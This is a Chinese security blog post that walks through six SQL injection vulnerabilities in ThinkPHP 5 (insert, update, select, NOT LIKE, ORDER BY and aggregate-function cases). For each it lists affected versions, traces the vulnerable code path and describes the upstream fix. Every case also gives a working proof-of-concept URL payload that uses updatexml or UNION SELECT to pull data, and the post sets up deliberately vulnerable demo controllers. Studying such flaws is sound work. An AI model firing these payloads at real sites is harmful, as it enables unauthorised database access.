M0nk3y's Blog

ThinkPHP5漏洞学习-SQL注入

Word count: 4.7kReading time: 20 min
2020/09/13 Share

[toc]

参考资料:https://github.com/Mochazz/ThinkPHP-Vuln

环境准备:

  • PHPStorm + MAMP PRO

环境搭建可以看我前两篇文章。

  • composer
1
2
brew install composer
composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/
  • 获取复现代码
1
composer create-project --prefer-dist topthink/think=5.0.15 tpdemo

composer.json 文件的 require 字段设置成如下:

1
2
3
4
"require": {
"php": ">=5.4.0",
"topthink/framework": "5.0.15"
}
  • SQL 注入demo 环境

修改/application/index/controller/index.php 的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
namespace app\index\controller;

class Index
{
public function index()
{
$username = request()->get('username/a');
db('users')->insert(['username' => $username]);
return 'Update success';
}
}

模拟这里存在一个用户传参并与数据库交互的场景。

可能会存在,SQL 报错

image-20200913135221064

修改username 字段默认为NULL 即可解决问题。

image-20200913134825568

SQL注入一(insert)

POC

1
public/index/index?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1 

image-20200913134332556

影响版本

5.0.13<=ThinkPHP<=5.0.155.1.0<=ThinkPHP<=5.1.5

漏洞概述

本次漏洞存在于 Builder 类的 parseData 方法中。由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。

类型:insert 注入。

漏洞分析

对于开源项目,在issue 或者 commit \ Releases 记录中,就能找到历史漏洞信息。这一点在CTF中经常用到,尤其是Node.js 的第三方依赖漏洞。

从漏洞影响版本可以去找 已经修复后的版本,https://github.com/top-think/framework/releases/tag/v5.0.16

通过github 的compare功能,即可查看代码发生了哪些修改。

https://github.com/top-think/framework/compare/v5.0.16...master

/thinkphp/library/think/db/Connection.php 的 314, 316 行下断点Debug,打payload。

image-20200913141903209

INSERT INTO users (username) VALUES (updatexml(1,concat(0x7,user(),0x7e),1)+1)

同时成功攻击的Payload 所在的参数位于 username[1]value

攻击Payload 经过ThinkPHP 的内置过滤后,进入$this->builderQuery 类的insert 方法,执行其中的SQL语句,并在后面返回出了执行结果。因为Payload利用updatexml()来报错,因此必须开启app_debug 来开启SQL 报错信息。

image-20200913155142684

(如上图debug 结果中Query.php),$this->builderthink\db\builder\Mysql 类,Query 的定义位于 thinkphp/library/think/db/builder/Mysql.php

image-20200913161424839

image-20200913161552092

/thinkphp/library/think/db/builder/Mysql.php , Mysql 类继承于Builder 类,即上面的 $this->builder->insert() 最终调用的是 Builder 类的 insert 方法

image-20200913162209236

方法调用parseData()方法来分析并处理数据,跟进该方法。

/thinkphp/library/think/db/Builder.php

image-20200913163148214

incdec 的 情况下,将可控数据$val[1]通过parseKey方法处理后,进行拼接,并返回$result

image-20200913185951795

parseKey方法 不做任何处理,是直接返回值的一个方法。

因此,带有恶意SQL 语句的Payload,被拼接且没任何字符串形式处理在Builder类的insert方法中,通过str_replace函数直接替换,返回sql,带入SQL语句中被执行,造成了SQL注入漏洞。

thinkphp/library/think/Request.php 中,有调用内置过滤(直接替换为空)方法,对参数exp进行过滤,在case exp的情况下,无法造成漏洞。

carbon

问题:为什么不能将恶意Payload 用username[2] 来投递?

原因:

同样的办法,下断点,debug 可以看到。

image-20200913181025221

回到之前的parseDate 方法,username[2]的值通过floatval函数处理

image-20200913171023035

payload 变为了0 ,且 会存在SQL 错误。

image-20200913182241348

利用总结

image-20200913185834897

漏洞修复

image-20200913151252661

SQL注入二(update)

复现代码获取:

1
composer create-project --prefer-dist topthink/think=5.1  tpdemo3

composer.json 文件的 require 字段设置成如下:

1
2
3
4
"require": {
"php": ">=5.6.0",
"topthink/framework": "5.1.7"
}

../config/app.php 中,需要修改app_trace 为true, app_debug 默认开启了。

创建数据库:

1
2
3
4
5
6
7
create database tpdemo;
use tpdemo;
create table users(
id int primary key auto_increment,
username varchar(50) not null
);
insert into users(id,username) values(1,'testuser');

这里也要设置username 字段 为NULL 才行

修改/application/index/controller/index.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
namespace app\index\controller;

class Index
{
public function index()
{
$username = request()->get('username/a');
db('users')->where(['id' => 1])->update(['username' => $username]);
return 'Update success';
}
}

POC

1
/public/index/index?username[0]=point&username[1]=1&username[2]=updatexml(1,concat(0x7,user(),0x7e),1)^&username[3]=0

很SQL 注入一非常类似。

image-20200914152750668

影响版本

漏洞影响版本: 5.1.6<=ThinkPHP<=5.1.7 (非最新的 5.1.8 版本也可利用)。

漏洞概述

本次漏洞存在于 Mysql 类的 parseArrayData 方法中由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生

注入类型:update 注入

漏洞分析

对于开源项目,在issue 或者 commit \ Releases 记录中,就能找到历史漏洞信息。这一点在CTF中经常用到,尤其是Node.js 的第三方依赖漏洞。

image-20200914161022479

  • 下断点,debug。观察参数传递过程
  • 监控MySQL

image-20200914184917592


下断点,开启Debug,打Payload。

image-20200914173011583

../thinkphp/library/think/db/Query.php 中,Payload 传入Query 类的 update方法,跟进该方法,该方法调用了Connection 类的该方法为update方法,该方法又调用了

$this->builderupdate 方法,此处的$this->builder 为为think\db\builder\Mysql 类。class Mysql extends Builder ,该类继承于Builder 类。

image-20200914170732409

Builder类中的update方法,调用了parseData方法,(正如上图debug结果。

image-20200914184754350

在该方法中的swich语句中,之前出现过漏洞,现在多了一条default 语句。而在新版本中被删除了。

跟进到parseData 方法,发现Payload 又被parseArrayData方法处理,继续跟进,

image-20200914185836504

../thinkphp/library/think/db/builder/Mysql.php 中的 200 行返回result 的地方打断点,调试结果如下。

此处将可控变量经过拼接后被带入数据库进行查询。

image-20200914193548748

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
protected function parseArrayData(Query $query, $data)
{
list($type, $value) = $data;

switch (strtolower($type)) {
case 'point':
$fun = isset($data[2]) ? $data[2] : 'GeomFromText';
$point = isset($data[3]) ? $data[3] : 'POINT';
if (is_array($value)) {
$value = implode(' ', $value);
}
$result = $fun . '(\'' . $point . '(' . $value . ')\')';
break;
default:
$result = false;
}

return $result;
}

其中:

1
$result = $fun . '(\'' . $point . '(' . $value . ')\')';

三个变量均可控。形式为:$a('$b($c)')

现在就是想办法如何闭合,然后进行注入攻击。

1
UPDATE `users`  SET `username` = $a('$b($c)')  WHERE  `id` = 1;

即让$fun 为我们的恶意Payload 即可。然后闭合掉后面的部分。

1
updatexml(1,concat(0x7,user(),0x7e),1)^('0(1)')

利用总结

carbon

下图来自参考资料。

8

漏洞修复

升级最新版,

官方直接删了parseArrayDate 函数。

一点点感想,我感觉按照这个师傅的分析思路,是逆着payload 去分析的漏洞原因,我好想正面直接挖啊,菜死了。

SQL注入三(select)

新增参考资料:https://www.cnblogs.com/wangtanzhi/p/12732557.html

学习就是要学习不同大佬的思路,然后转换为自己的思路。

POC

1
/public/index.php/index/index/?username=)%20union%20select%20updatexml(1,concat(0x7,user(),0x7e),1)%23

image-20200914214213065

sqlmap 也可以跑出结果。

影响版本

ThinkPHP5 全版本

漏洞概述

本次漏洞存在于 Mysql 类的 parseWhereItem 方法中。由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。

漏洞分析

  • MySQL 监控

监控不到,不知道为什么。配置也是正确的。

/application/index/controller/index.php

image-20200914220015121

然后用户输入的数据会原样进入框架的 SQL 查询方法中。首先程序先调用 Query 类的 where 方法,通过其 parseWhereExp 方法分析查询表达式,然后再返回并继续调用 select 方法准备开始构建 select 语句。(这个点得记住,框架的sql查询方法先进入 Query 类)


程序默认调用 Request 类的 get 方法中会调用该类的 input 方法,但是该方法默认情况下并没有对数据进行很好的过滤,所以用户输入的数据会原样进入框架的 SQL 查询方法中。首先程序先调用 Query 类的 where 方法,通过其 parseWhereExp 方法分析查询表达式,然后再返回并继续调用 select 方法准备开始构建 select 语句。

image-20200914222945520

image-20200914224146213

此处调用$this->builderselect方法。而此处$this->builderthink/db/builder/Mysql 类,继承于Builder 类。因此调用的是Builder类的select 方法

image-20200914225616763

select 方法中,程序会对 SQL 语句模板用变量填充,其中用来填充 %WHERE% 的变量中存在用户输入的数据。跟进这个 where 分析函数,会发现其会调用生成查询条件 SQL 语句的 buildWhere 函数。

image-20200914231827114

此处$where 经过 buildWhere 方法处理后返回$whereStr

parseWhereItemwhere 子单元函数方法调用,当操作符为EXP 时,经过拼接带入SQL查询,造成SQL注入。

image-20200914235436560

image-20200915000616883

完整的方法调用如上图绿色部分。

利用总结

carbon (1)

漏洞修复

官网未修复。

继承类,等面向对象的基本知识很重要。

SQL注入四(select)

漏洞复现环境和上面应该是差不多的。

POC

1
public/index.php/index/index?username[0]=not%20like&username[1][0]=%%&username[1][1]=233&username[2]=)%20union%20select%201,user()%23

image-20200915122649716

影响版本

ThinkPHP: 5.0.10

漏洞概述

本次漏洞存在于 Mysql 类的 parseWhereItem 方法中。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句。再一个, Request 类的 filterValue 方法漏过滤 NOT LIKE 关键字,最终导致 SQL注入漏洞 的产生

在MySQL 中 NOT LIKE 为模糊查询,什么是模糊查询呢?

mysql模糊查询like的用法:

查询user表中姓名中有“王”字的:

select * from user where name like ‘%王%’

mysql模糊查询not like的用法

查询user表中姓名中没有“王”字的:

select * from user where name not like ‘%王%’

漏洞分析

该SQL注入漏洞影响版本为 5.0.10 ,因此去 5.0.11 的更新记录中,则可以查看相关的修复操作。

image-20200915132004061

Commit :https://github.com/top-think/framework/commit/f43688a30ce921df1c7cda771620c0fbe1868e7d

( 急需如何快速定位到 某个指定的commit 记录的方法。

image-20200915133611309

可以看到,这里之前是没有将特殊字符 NOT LIKE 给过滤掉。


根据Payload来分析漏洞原理:

不管以哪种方式传递数据给服务器,这些数据在 ThinkPHP 中都会经过 Request 类的 input 方法

input 方法中:传入的数据会经过 filterValue过滤强制类型转换,然后返回。

跟进该方法,查看是如何实现的。发现又会调用到filterExp 方法,

image-20200915142723291

可以看到没有过滤NOT LIKE

ThinkPHP处理 SQL 语句的方法。首先程序先调用 Query 类的 where 方法,通过其 parseWhereExp 方法分析查询表达式,然后再返回并继续调用 select 方法准备开始构建 select 语句。

![image-20200915144157181](/Users/m0nk3y/Library/Application Support/typora-user-images/image-20200915144157181.png)

此处的$this->builderthink\db\builder\Mysql 类。而Mysql 类继承于 Builder类,所以会继续调用到Builder类的select方法。该方法调用了parseWhere方法,然后调用了buildWhere方法,该方法继续调用了 parseWhereItem 方法,跟进该方法,

此处到 操作符 $expNOT LIKELIKE 时,MySQL 的逻辑控制符可控。后进行拼接返回带入SQL语句中执行,导致了SQL注入漏洞。

image-20200915151528489

最终的结果就是返回带有恶意的SQL Payload(whereStr,红色部分。

image-20200915184916179

整个过程的方法调用情况如绿色框起的部分。

1
(`username` NOT LIKE '%%' ) UNION SELECT 1,USER()# `username` NOT LIKE '233')

利用总结

下图来自七月火师傅的总结文章里的。

9

漏洞修复

增加过滤

SQL注入五(order by)

环境搭建也差不多,需要手动开启../config/app.php 下的app_debugapp_trace

POC

1
/public/index.php/index/index/?orderby[id`|updatexml(1,concat(0x7,user(),0x7e),1)%23]=1

image-20200915195454500

影响版本

5.1.16<=ThinkPHP5<=5.1.22

漏洞概述

本次漏洞存在于 Builder 类的 parseOrder 方法中。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句,最终导致 SQL注入漏洞 的产生。

漏洞分析

image-20200915201246990

![image-20200915202933679](/Users/m0nk3y/Library/Application Support/typora-user-images/image-20200915202933679.png)

从修改记录中看到,增加了一条if判断语句来过滤$key中的)# 。这两个符号也是在CTF中往往会过滤的点。

我们的数据都会进入到Request 类中的input方法,并且经过filterValue方法的过滤和强制类型转换并返回$data

这里array_walk_recursive()函数,对数组中的成员递归调用filterValue 过滤函数。

image-20200915205211882

但是filterValue 过滤函数,不过滤数组的key , 只过滤了数组的value

用户输入的数据会原样

1
?orderby[id`|updatexml(1,concat(0x7,user(),0x7e),1)%23]=1

进入框架的 SQL查询方法中,进入Query类,这次是通过调用order方法。

image-20200915210341486

恶意Payload 未经过任何过滤直接传递给options['order'] 中。接着调用find()方法。

image-20200915210940031

此处$this->connectionthink/db/connectior/Mysql类 ,继承于Connection类,于是此处继续调用该类的find()方法,

image-20200915211715450

该方法继续调用了 $this->builder, 即think/db/builder/Mysql 类的select 方法。该方法通过str_replace 函数,将数据填充到SQL语句中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

public function select(Query $query)
{
$options = $query->getOptions();

return str_replace(
['%TABLE%', '%DISTINCT%', '%FIELD%', '%JOIN%', '%WHERE%', '%GROUP%', '%HAVING%', '%ORDER%', '%LIMIT%', '%UNION%', '%LOCK%', '%COMMENT%', '%FORCE%'],
[
$this->parseTable($query, $options['table']),
$this->parseDistinct($query, $options['distinct']),
$this->parseField($query, $options['field']),
$this->parseJoin($query, $options['join']),
$this->parseWhere($query, $options['where']),
$this->parseGroup($query, $options['group']),
$this->parseHaving($query, $options['having']),
$this->parseOrder($query, $options['order']),
$this->parseLimit($query, $options['limit']),
$this->parseUnion($query, $options['union']),
$this->parseLock($query, $options['lock']),
$this->parseComment($query, $options['comment']),
$this->parseForce($query, $options['force']),
],
$this->selectSql);
}

然后调用了parseOrder 方法,跟进下,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
protected function parseOrder(Query $query, $order)
{
if (empty($order)) {
return '';
}

$array = [];

foreach ($order as $key => $val) {
if ($val instanceof Expression) {
$array[] = $val->getValue();
} elseif (is_array($val)) {
$array[] = $this->parseOrderField($query, $key, $val);
} elseif ('[rand]' == $val) {
$array[] = $this->parseRand($query);
} else {
if (is_numeric($key)) {
list($key, $sort) = explode(' ', strpos($val, ' ') ? $val : $val . ' ');
} else {
$sort = $val;
}

$sort = strtoupper($sort);
$sort = in_array($sort, ['ASC', 'DESC'], true) ? ' ' . $sort : '';
$array[] = $this->parseKey($query, $key, true) . $sort;
}
}

return ' ORDER BY ' . implode(',', $array);
}

在上面的函数中,$order 即是我们输入的数据,然后经过了parseKey 方法处理后返回给$array

跟进查看该方法的实现。

image-20200915231942203

该方法在变量$key 的两端添加了反引号进行拼接,并且没有任何过滤。再和精心构造好的Payload 结合后

image-20200915230823430

最终返回了一个带有ORDER BY 的 SQL 注入 payload 给要执行的SQL语句,实现ORDER BY 注入。

利用总结

8

漏洞修复

https://github.com/top-think/framework/commit/673e505421b25bdee2f02b668e5fd1ac79a3d190

SQL注入六(Mysql聚合函数注入)

POC

不同版本 payload 需稍作调整:

5.0.0~5.0.215.1.3~5.1.10id)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23

5.1.11~5.1.25id`)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23

这里以5.1.25 版本的ThinkPHP 进行漏洞分析。

1
/public/index/index?options=id`)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23

image-20200916003000509

影响版本

5.0.0<=ThinkPHP<=5.0.215.1.3<=ThinkPHP5<=5.1.25

漏洞概述

本次漏洞存在于所有 Mysql 聚合函数相关方法。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句,最终导致 SQL注入漏洞 的产生。

漏洞分析

和之前的分析思路一样,先去Github 上找更新版本的commit 记录。

image-20200916003529194

https://github.com/top-think/framework/commit/26a1b2fe9571c151ccd5e7ad05b3bb33385ecde3

image-20200916004737749

新增加了一条if 判断 语句,用来抛出异常。

和前几个ThinkPHP 5 SQL 注入漏洞一样,程序都会进入到Query 类中,此处在../application/index/controller/index.php 中,模拟的代码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
namespace app\index\controller;

class Index
{
public function index()
{
$options = request()->get('options');
$result = db('users')->max($options);
var_dump($result);
}
}

因此会先进入到Query类 的 max 方法。

image-20200916010724376

用户的输入传给了field :id`)+updatexml(1,concat(0x7,user(),0x7e),1) from users#

然后该方法继续调用了aggregate 方法,该方法接着调用了$this->connectionaggregate方法,而$this->connectionthink\db\connector\Mysql 类,而Mysql类继承与Connection 类,故调用该类的aggregate 方法,该方法又调用了$this->builder,此处为think\db\Builder\Mysql 类的 parseKey 方法。该方法和SQL注入五起到的作用一样。

image-20200916012332355

理清了调用情况。具体说parseKey方法的作用

parseKey 方法主要是对字段和表名进行处理,这里只是对我们的数据两端都添加了反引号。经过 parseKey 方法处理后,程序又回到了上图的 $this->value() 方法中,该方法会调用 Builder 类的 select 方法来构造 SQL 语句。这个方法应该说是在分析 ThinkPHP 漏洞时,非常常见的了。其无非就是使用 str_replace 方法,将变量替换到 SQL 语句模板中。这里,我们重点关注 parseField 方法,因为用户可控数据存储在 $options[‘field’] 变量中并被传入该方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public function select(Query $query)
{
$options = $query->getOptions();

return str_replace(
['%TABLE%', '%DISTINCT%', '%FIELD%', '%JOIN%', '%WHERE%', '%GROUP%', '%HAVING%', '%ORDER%', '%LIMIT%', '%UNION%', '%LOCK%', '%COMMENT%', '%FORCE%'],
[
$this->parseTable($query, $options['table']),
$this->parseDistinct($query, $options['distinct']),
$this->parseField($query, $options['field']),
$this->parseJoin($query, $options['join']),
$this->parseWhere($query, $options['where']),
$this->parseGroup($query, $options['group']),
$this->parseHaving($query, $options['having']),
$this->parseOrder($query, $options['order']),
$this->parseLimit($query, $options['limit']),
$this->parseUnion($query, $options['union']),
$this->parseLock($query, $options['lock']),
$this->parseComment($query, $options['comment']),
$this->parseForce($query, $options['force']),
],
$this->selectSql);
}

跟进parseFieid方法,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
protected function parseField(Query $query, $fields)
{
if ('*' == $fields || empty($fields)) {
$fieldsStr = '*';
} elseif (is_array($fields)) {
// 支持 'field1'=>'field2' 这样的字段别名定义
$array = [];

foreach ($fields as $key => $field) {
if (!is_numeric($key)) {
$array[] = $this->parseKey($query, $key) . ' AS ' . $this->parseKey($query, $field, true);
} else {
$array[] = $this->parseKey($query, $field);
}
}

$fieldsStr = implode(',', $array);
}

return $fieldsStr;
}

该方法未做任何过滤,用户可控数据只是经过 parseKey 方法处理,并不影响数据,然后直接用逗号拼接,最终直接替换进 SQL 语句模板里,导致 SQL注入漏洞 的发生

利用总结

7

漏洞修复

官方的修复方法是:当匹配到除了 字母、点号、星号 以外的字符时,就抛出异常。

image-20200916004737749

Author:m0nk3y

原文链接:https://hack-for.fun/69fea760.html

发表日期:September 13th 2020, 1:40:27 pm

更新日期:September 23rd 2020, 11:04:24 am

版权声明:原创文章转载时请注明出处

CATALOG
  1. 1. SQL注入一(insert)
    1. 1.1. POC
    2. 1.2. 影响版本
    3. 1.3. 漏洞概述
    4. 1.4. 漏洞分析
    5. 1.5. 利用总结
    6. 1.6. 漏洞修复
  2. 2. SQL注入二(update)
    1. 2.1. POC
    2. 2.2. 影响版本
    3. 2.3. 漏洞概述
    4. 2.4. 漏洞分析
    5. 2.5. 利用总结
    6. 2.6. 漏洞修复
  3. 3. SQL注入三(select)
    1. 3.1. POC
    2. 3.2. 影响版本
    3. 3.3. 漏洞概述
    4. 3.4. 漏洞分析
    5. 3.5. 利用总结
    6. 3.6. 漏洞修复
  4. 4. SQL注入四(select)
    1. 4.1. POC
    2. 4.2. 影响版本
    3. 4.3. 漏洞概述
    4. 4.4. 漏洞分析
    5. 4.5. 利用总结
    6. 4.6. 漏洞修复
  5. 5. SQL注入五(order by)
    1. 5.1. POC
    2. 5.2. 影响版本
    3. 5.3. 漏洞概述
    4. 5.4. 漏洞分析
    5. 5.5. 利用总结
    6. 5.6. 漏洞修复
  6. 6. SQL注入六(Mysql聚合函数注入)
    1. 6.1. POC
    2. 6.2. 影响版本
    3. 6.3. 漏洞概述
    4. 6.4. 漏洞分析
    5. 6.5. 利用总结
    6. 6.6. 漏洞修复